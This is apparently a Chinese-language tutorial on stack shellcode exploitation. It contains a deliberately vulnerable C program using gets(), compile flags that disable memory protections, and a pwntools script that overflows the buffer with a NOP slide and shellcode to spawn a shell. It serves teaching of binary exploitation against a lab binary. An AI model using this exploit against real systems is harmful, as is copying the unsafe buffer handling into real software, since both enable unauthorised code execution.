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Stack Shellcode

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基本信息

Stack shellcode 是一种用于二进制利用的技术，攻击者将 shellcode 写入易受攻击程序的栈中，然后修改 指令指针 (IP) 或 扩展指令指针 (EIP) 以指向该 shellcode 的位置，从而导致其执行。这是一种经典的方法，用于获得未授权访问或在目标系统上执行任意命令。以下是该过程的分解，包括一个简单的 C 示例以及如何使用 Python 和 pwntools 编写相应的利用代码。

C 示例：一个易受攻击的程序

让我们从一个简单的易受攻击的 C 程序示例开始：

#include <stdio.h>
#include <string.h>

void vulnerable_function() {
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
}

int main() {
vulnerable_function();
printf("Returned safely\n");
return 0;
}

这个程序由于使用了 gets() 函数而容易受到缓冲区溢出攻击。

编译

要在禁用各种保护的情况下编译此程序（以模拟易受攻击的环境），您可以使用以下命令：

gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c

• -fno-stack-protector: 禁用栈保护。
• -z execstack: 使栈可执行，这对于执行存储在栈上的shellcode是必要的。
• -no-pie: 禁用位置无关可执行文件，使预测我们的shellcode将位于的内存地址更容易。
• -m32: 将程序编译为32位可执行文件，通常用于简化漏洞开发。

使用Pwntools的Python漏洞

以下是如何使用pwntools在Python中编写一个漏洞以执行ret2shellcode攻击：

from pwn import *

# Set up the process and context
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
context.arch = 'i386' # Specify the architecture

# Generate the shellcode
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell

# Find the offset to EIP
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash

# Prepare the payload
# The NOP slide helps to ensure that the execution flow hits the shellcode.
nop_slide = asm('nop') * (offset - len(shellcode))
payload = nop_slide + shellcode
payload += b'A' * (offset - len(payload))  # Adjust the payload size to exactly fill the buffer and overwrite EIP
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide

# Send the payload
p.sendline(payload)
p.interactive()

这个脚本构造了一个有效载荷，由NOP滑块、shellcode组成，然后用指向NOP滑块的地址覆盖EIP，确保shellcode被执行。

NOP滑块（asm('nop')）用于增加执行“滑入”我们的shellcode的机会，无论确切地址是什么。调整p32()参数为缓冲区的起始地址加上一个偏移量，以便落入NOP滑块。

保护措施

• ASLR 应该被禁用，以确保地址在执行之间是可靠的，否则函数存储的地址不会总是相同，你需要一些泄漏来找出win函数加载的位置。
• Stack Canaries 也应该被禁用，否则被破坏的EIP返回地址将永远不会被跟随。
• NX 栈保护将阻止在栈内执行shellcode，因为该区域将不可执行。

其他示例与参考

• https://ir0nstone.gitbook.io/notes/types/stack/shellcode
• https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html
• 64位，ASLR与栈地址泄漏，写入shellcode并跳转到它
• https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html
• 32位，ASLR与栈泄漏，写入shellcode并跳转到它
• https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html
• 32位，ASLR与栈泄漏，比较以防止调用exit()，用一个值覆盖变量并写入shellcode并跳转到它

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